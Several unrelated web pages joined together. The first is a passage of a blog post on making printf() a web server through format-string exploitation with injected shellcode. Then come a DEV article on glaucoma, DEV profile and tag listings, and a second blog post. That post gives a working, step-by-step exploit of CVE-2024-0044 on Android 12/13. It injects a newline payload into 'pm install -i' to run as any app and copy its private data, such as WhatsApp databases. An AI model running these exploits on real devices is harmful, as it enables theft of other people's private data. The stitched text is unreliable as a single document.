executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Tatyana Bayramova, CPACC Posted on Jan 11 • Originally published at tatanotes.com Glaucoma Awareness Month # a11y # discuss # news Glaucoma is one of the leading causes of blindness worldwide, affecting millions of people. It is estimated that approximately 80 million people globally have glaucoma, and the number is projected to grow to over 111 million by 2040 . Glaucoma is commonly known as the "silent thief of sight" because it usually has no symptoms in its early stages. With this condition, the optic nerve gets damaged slowly, leading to vision field reduction and, if left untreated, blindness. High intraocular pressure (IOP) is a major risk factor for glaucoma. Elevated IOP can damage the optic nerve fibers, leading to progressive vision loss, resulting in glaucoma. However, glaucoma can also occur in individuals with normal IOP levels, known as normal-tension glaucoma. High IOP alone is not a definitive indicator of glaucoma. Unfortunately, due to late diagnosis, one person I know lost their vision. Even though glaucoma has no cure yet, blindness could be prevented with regular eye exams and early treatment, such as applying eye drops, or performing an SLT procedure that helps lower IOP to prevent further damage to the optic nerve. What can you do to support people with glaucoma? Learn more about needs of people with glaucoma Glaucoma affects the way people perceive the environment. Use vision simulators like Glaucoma Vision Simulator or NoCoffee vision simulator for Firefox to understand how glaucoma affects vision. Adapt your digital and physical projects so that they're easy to use with visual impairments. Similar simulators exist for other visual impairments as well. For digital content, follow WCAG and PDF/UA standards WCAG criteria like 1.1.1. Non-text Content (Level A) , 1.4.4 Resize Text (Level AA) , and 4.1.2 Name, Role, Value (Level A) address needs of people with visual impairments, including glaucoma. This is not an exhaustive list, and you should aim to follow other WCAG criteria to ensure your digital content is accessible to people with disabilities. To ensure PDF accessibility, follow PDF/UA (PDF for Universal Access) standard. This will help make your documents accessible by users of assistive technologies, such as screen readers. Ensure compliance with EN 301 549 standard for a wider range of products European standard EN 301 549 specifies accessibility requirements for a broad range of products and services, including hardware, software, websites, and electronic documents. By following this standard, you can make your digital content is accessible to people with disabilities, including those with visual impairments like glaucoma. Complying with these standards is a great first step, but keep in mind that no guideline or automated tool guarantees accessibility. An effective way to ensure accessibility is to conduct accessibility user testing with people with disabilities. Accomodate for people with visual impairments, including glaucoma Adopt accessible practices in the physical world. Design physical spaces with accessibility in mind — for example, provide printed materials and signage in Braille or large print, whenever possible. To help people with glaucoma navigate the environment, install tactile paving. Support your local glaucoma organizations There are many organizations around the world that support glaucoma research, provide guidance and support groups for people with glaucoma. You can find a glaucoma society in your country on the World Glaucoma Association's list of member societies . Here are some glaucoma organizations you can support: European Glaucoma Society National Glaucoma Patient Support Groups American Glaucoma Society Glaucoma Research Society of Canada Glaucoma Australia By keeping accessibility barriers in mind, we can help ensure that individuals with glaucoma and other visual impairments can access and benefit from the great variety of products and public services. Sources How fast does glaucoma progress without treatment? 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Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Tatyana Bayramova, CPACC Follow Senior Software Engineer | CPACC | IAAP Member | Accessibility Joined Dec 3, 2024 More from Tatyana Bayramova, CPACC Accessibility Testing on Windows on Mac # a11y # testing # web # discuss Our Rights, Our Future, Right Now - Celebrating Human Rights Day # a11y # discuss # news # learning Today is the International Day of Persons with Disabilities # a11y # webdev # frontend # discuss 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/stackforgetx | Michael Turner - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow User actions Michael Turner Software developer focused on Web3 infrastructure. Cross-chain systems, APIs, smart contracts. Real-world examples on GitHub. Joined Joined on Dec 21, 2025 github website More info about @stackforgetx Post 10 posts published Comment 0 comments written Tag 7 tags followed Getting Started with Mantine DataTable in React: Building Your First Data Table Michael Turner Michael Turner Michael Turner Follow Jan 12 Getting Started with Mantine DataTable in React: Building Your First Data Table # react # tutorial # programming Comments Add Comment 5 min read Advanced Data Table Implementation with ka-table in React Michael Turner Michael Turner Michael Turner Follow Jan 12 Advanced Data Table Implementation with ka-table in React # react # webdev # programming # javascript Comments Add Comment 6 min read Building Feature-Rich Data Tables with jQWidgets React Grid Michael Turner Michael Turner Michael Turner Follow Jan 12 Building Feature-Rich Data Tables with jQWidgets React Grid # react # webdev # javascript # beginners Comments Add Comment 6 min read Getting Started with ReactGrid in React: Building Your First Spreadsheet Michael Turner Michael Turner Michael Turner Follow Jan 12 Getting Started with ReactGrid in React: Building Your First Spreadsheet # react # webdev # javascript # tutorial Comments Add Comment 5 min read Advanced Spreadsheet Implementation with RevoGrid in React Michael Turner Michael Turner Michael Turner Follow Jan 12 Advanced Spreadsheet Implementation with RevoGrid in React # react # webdev # beginners # tutorial Comments Add Comment 6 min read Building Interactive Data Tables with React Data Grid Michael Turner Michael Turner Michael Turner Follow Jan 12 Building Interactive Data Tables with React Data Grid # react # webdev # beginners # tutorial Comments Add Comment 7 min read Getting Started with MUI X Data Grid in React: Building Your First Data Table Michael Turner Michael Turner Michael Turner Follow Jan 12 Getting Started with MUI X Data Grid in React: Building Your First Data Table # webdev # programming # javascript # beginners Comments Add Comment 6 min read Advanced Data Management with GigaTables React: Building Enterprise-Grade Tables Michael Turner Michael Turner Michael Turner Follow Jan 12 Advanced Data Management with GigaTables React: Building Enterprise-Grade Tables # webdev # programming # beginners # tutorial Comments Add Comment 6 min read Building Advanced Data Tables with AG Grid in React Michael Turner Michael Turner Michael Turner Follow Jan 12 Building Advanced Data Tables with AG Grid in React # react # tutorial # beginners # programming Comments Add Comment 6 min read Getting Started with Fortune Sheet in React: Building Your First Spreadsheet Michael Turner Michael Turner Michael Turner Follow Jan 12 Getting Started with Fortune Sheet in React: Building Your First Spreadsheet # react # webdev # programming # tutorial Comments Add Comment 5 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://tinyhack.com/2024/06/07/extracting-whatsapp-database-or-any-app-data-from-android-12-13-using-cve-2024-0044/ | Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 I want to make a WhatsApp message backup from a non-rooted Android 12 Phone. A few years ago, I used Whatsapp-Chat-Exporter to convert the backup to HTML, but first, I had to extract the database from the phone. The method pointed out by Whatsapp-Chat-Exporter to extract from non-root has remained the same for many years: downgrade to an old version of WhatsApp that allows backup, then create an Android backup that contains the WhatsApp database. This doesn’t work for WhatsApp for Business because there was no version that allowed backup. Depending on your use case, you might be able to move WhatsApp to a new device that can be rooted and then extract the files there (very easy when you have root access). When looking at the new Zygote Bug by Meta Red Team X (CVE-2024-31317), I thought it could be used to perform backup extraction, but then I saw the previous entry on that blog (CVE-2024-0044), which is much easier to use (but only works in Android 12 and 13 that has not received Marh 2024 security update). CVE-2023-0044 This exploit can work for any non-system app, not just for extracting data from WhatsApp/WhatsApp business. For an expert, the explanation for the exploit is very obvious. I am writing here for end users or beginners who need a step-by-step guide to extracting their WA database. Simple exploit First, you will need to enable USB Debugging and allow installation of APK via USB. Prepare an APK; any APK is fine as long as it can be installed on your device (get an APK from https://f-droid.org/ ). Push the APK file to the device, for example: adb push F-Droid.apk /data/local/tmp/ The exploit is simple. First, we need to have the target uid for WhatsApp. Do adb shell , then from inside adb pm list packages -U|grep com.wha You will see something like this: package:com.whatsapp.w4b uid:10374 package:com.whatsapp uid:10180 If you only have WhatsApp, you will only have the com.whatsapp , and if you only have WhatsApp for Business, you will only have com.whatsapp.w4b . Look at the UID (for example, 10180; this will differ on your phone). Copy and paste this to Notepad, change the UID, and copy it to the clipboard. PAYLOAD="@null victim 10180 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null" pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk Or download this text file (in case WordPress messes up the formatting). Note that there is enter after @null , this is what the exploit is all about. Change the UID to match yours. The word victim can be replaced with any 1-word string. You should see something like this: Note that when a new line after @null is pasted, it will show as > on the next line Note that you only need to do this once. Now we can run as WhatsApp user: run-as victim And we can start browsing the files ( ls , cat , etc.). Unfortunately, in Android 13, I was unable to copy the files somewhere else (to /sdcard/ , /data/local/tmp ). But we can do this (but first, exit from run-as by exit or pressing control-d ), then: mkdir /data/local/tmp/wa/ touch /data/local/tmp/wa/wa.tar chmod -R 0777 /data/local/tmp/wa/ run-as victim tar -cf /data/local/tmp/wa/wa.tar com.whatsapp And this is what it should look like: Now we can exit adb ( exit or control-D ) back to the command line, and pull the data: adb pull /data/local/tmp/wa/wa.tar You can then extract the data using any app (the latest Windows can extract tar files, or you can use 7-Zip). Now, you can get the databases from databases folder, and use Whatsapp-Chat-Exporter to convert it to HTML. Conclusion I hope this helps anyone who needs to extract data from their non-root phone. Author admin Posted on June 7, 2024 June 7, 2024 Categories android , mobile , security 9 thoughts on “Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044” Pingback: Exfiltrate sensitive user data from apps on Android 12 and 13 using CVE-2024-0044 vulnerability - Mobile Hacker Pingback: CVE-2024-0044 Exploit PoC: Extract any App Data from Android 12/13 including WhatsApp – Exploit PoC Pingback: 通过“run-as”伪造从Android 12/13应用程序提取敏感数据 - 偏执的码农 Pingback: La vulnerabilidad CVE-2024-0044 afecta a Android - f3nixtech.com Vishnu says: July 24, 2024 at 4:42 am I tried this exploit on a Realme device, but after running the commands and executing run-as victim, it shows “run-as: unknown package: victim”. The payload is not getting injected into packages. What can be done to solve this? The device is realme 7, android 12, Nov ’22 patch. Reply Mod says: July 30, 2024 at 9:01 am Hi, what about the exploitability of cve-2024-31317 that zygote bug you have mentioned. Is there any progress on that? I am trying on the backup extraction of android 14 devices. Poc based on that CVE will be helpful. Can you do something on that? Reply SavSantaWuzHere says: August 17, 2024 at 9:07 am As a frequent user of that tool to backup my ish. Thanks for this bloggo elucidating a alternative method for those of us who need this. Also this is great because some app devs are completely slow or never implement an easy to backup feature. Ask me how many notes I have lost because I changed phones. 😆 Reply Nikhil says: September 11, 2024 at 6:31 pm Getting error run-as: unknown package: victim” other commands worked but this one is getting error. Reply ripped off by realme says: October 5, 2024 at 8:32 pm hi I need temp root poc exploit 0 day vulnerability for Android 14 security patch June 2024 thank you sir. I want to root my phone but the manufacturer won’t allow it by default. My only solution is the temp root method. Can you please help me to root my phone? Just write the download link to the poc here. Thank you sir! Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://dev.to/mohammadidrees | Mohammad-Idrees - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow User actions Mohammad-Idrees 404 bio not found Joined Joined on Mar 16, 2023 github website More info about @mohammadidrees Badges Writing Debut Awarded for writing and sharing your first DEV post! Continue sharing your work to earn the 4 Week Writing Streak Badge. Got it Close Two Year Club This badge celebrates the longevity of those who have been a registered member of the DEV Community for at least two years. Got it Close One Year Club This badge celebrates the longevity of those who have been a registered member of the DEV Community for at least one year. Got it Close Post 6 posts published Comment 1 comment written Tag 5 tags followed Contrast sync vs async failure classes using first principles Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 Contrast sync vs async failure classes using first principles # architecture # computerscience # systemdesign Comments Add Comment 3 min read Want to connect with Mohammad-Idrees? Create an account to connect with Mohammad-Idrees. You can also sign in below to proceed if you already have an account. Create Account Already have an account? Sign in Applying First-Principles Questioning to a Real Company Interview Question Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 Applying First-Principles Questioning to a Real Company Interview Question # career # interview # systemdesign Comments Add Comment 3 min read How to Question Any System Design Problem (With Live Interview Walkthrough) Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 How to Question Any System Design Problem (With Live Interview Walkthrough) # architecture # career # interview # systemdesign Comments Add Comment 4 min read Thinking in First Principles: How to Question an Async Queue–Based Design Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 Thinking in First Principles: How to Question an Async Queue–Based Design # architecture # interview # learning # systemdesign Comments Add Comment 4 min read How to Identify System Design Problems from First Principles Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 How to Identify System Design Problems from First Principles # architecture # interview # systemdesign # tutorial Comments Add Comment 3 min read 🧱 The Blueprint of Success: Mastering the Technical Requirements Document (TRD) Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Nov 26 '25 🧱 The Blueprint of Success: Mastering the Technical Requirements Document (TRD) # architecture # career # systemdesign Comments 1 comment 5 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/t/backend | Backend - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # backend Follow Hide Desenvolvimento do lado do servidor, APIs, bancos de dados e logica de negocios. Create Post Older #backend posts 1 2 3 4 5 6 7 8 9 … 75 … 196 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu 🐌 “My Spring Boot API Became Slow… Until I Learned Pagination & Sorting” Shashwath S H Shashwath S H Shashwath S H Follow Jan 13 🐌 “My Spring Boot API Became Slow… Until I Learned Pagination & Sorting” # springboot # backend # java # sorting 1 reaction Comments Add Comment 2 min read The Underlying Process of Request Processing Sergiy Yevtushenko Sergiy Yevtushenko Sergiy Yevtushenko Follow Jan 12 The Underlying Process of Request Processing # java # functional # architecture # backend Comments Add Comment 4 min read 🚀 The "Celebrity Problem": How to Handle the Taylor Swifts of Your Database 🎤📈 charan koppuravuri charan koppuravuri charan koppuravuri Follow Jan 13 🚀 The "Celebrity Problem": How to Handle the Taylor Swifts of Your Database 🎤📈 # systemdesign # architecture # distributedsystems # backend Comments Add Comment 3 min read Chatbot Middleware Architecture: Express.js Best Practices Chatboq Chatboq Chatboq Follow Jan 13 Chatbot Middleware Architecture: Express.js Best Practices # node # express # backend # api Comments Add Comment 9 min read Load and Map Environment Variables in Rust with dotenvy, serde, and envy Veerawat Veerawat Veerawat Follow Jan 13 Load and Map Environment Variables in Rust with dotenvy, serde, and envy # programming # rust # backend # webdev Comments Add Comment 2 min read Breaking the Runtime Wall: Universal Frameworks in BEnder 🌍 Adam Golan Adam Golan Adam Golan Follow Jan 10 Breaking the Runtime Wall: Universal Frameworks in BEnder 🌍 # node # bunjs # backend # webdev Comments Add Comment 2 min read Why I Divorced Laravel Observers Rafhael Marsigli Rafhael Marsigli Rafhael Marsigli Follow Jan 12 Why I Divorced Laravel Observers # laravel # php # architecture # backend Comments Add Comment 3 min read When the GUI Disappears: Google UCP and the Shift to Protocol-First Commerce AaronWuBuilds AaronWuBuilds AaronWuBuilds Follow Jan 12 When the GUI Disappears: Google UCP and the Shift to Protocol-First Commerce # google # backend # systemdesign # commerce Comments Add Comment 5 min read Hogo: Ignite Your Node.js Performance with Atomic Request Coalescing Mahmud Rahman Mahmud Rahman Mahmud Rahman Follow Jan 12 Hogo: Ignite Your Node.js Performance with Atomic Request Coalescing # node # performance # backend # javascript Comments Add Comment 2 min read Backend Security for Express.js (With Nginx + VPS) Khaled Md Saifullah Khaled Md Saifullah Khaled Md Saifullah Follow Jan 12 Backend Security for Express.js (With Nginx + VPS) # backend # vps # nginx # mern Comments Add Comment 5 min read 🚀 Where AI Helps Backend Developers — And Where It Doesn’t Manu Kumar Pal Manu Kumar Pal Manu Kumar Pal Follow Jan 12 🚀 Where AI Helps Backend Developers — And Where It Doesn’t # ai # backend # developers # webdev Comments Add Comment 2 min read Why DSO Integration Problems Surface as Delayed Decisions, Not System Failures CAmador CAmador CAmador Follow Jan 12 Why DSO Integration Problems Surface as Delayed Decisions, Not System Failures # api # backend # devops # productivity Comments Add Comment 4 min read MCP Connect Luca Minuti Luca Minuti Luca Minuti Follow Jan 12 MCP Connect # backend # opensource # delphi # mcp Comments Add Comment 7 min read I have an idea I wanted to share with you all. PRAS Samin PRAS Samin PRAS Samin Follow Jan 12 I have an idea I wanted to share with you all. # redis # backend # opensource # serverless Comments Add Comment 1 min read Mastering Database Logic: Handling Partial Payments in an Inventory System Seenu Seenu Seenu Seenu Seenu Seenu Follow Jan 12 Mastering Database Logic: Handling Partial Payments in an Inventory System # architecture # backend # database Comments Add Comment 2 min read DevOps Isn’t a Toolchain, It’s a Feedback Loop Shamim Ali Shamim Ali Shamim Ali Follow Jan 12 DevOps Isn’t a Toolchain, It’s a Feedback Loop # devops # programming # backend # distributedsystems Comments Add Comment 1 min read Clean Code em PHP moderno. Daniel Camucatto Daniel Camucatto Daniel Camucatto Follow Jan 11 Clean Code em PHP moderno. # backend # codequality # php Comments Add Comment 2 min read Don't pull the entire dump if you only need a small piece Татьяна Кузнецова Татьяна Кузнецова Татьяна Кузнецова Follow Jan 11 Don't pull the entire dump if you only need a small piece # sqlserver # dotnet # backend # devops Comments Add Comment 3 min read DS Express Errors (centralizing errors library) — v1.8.0 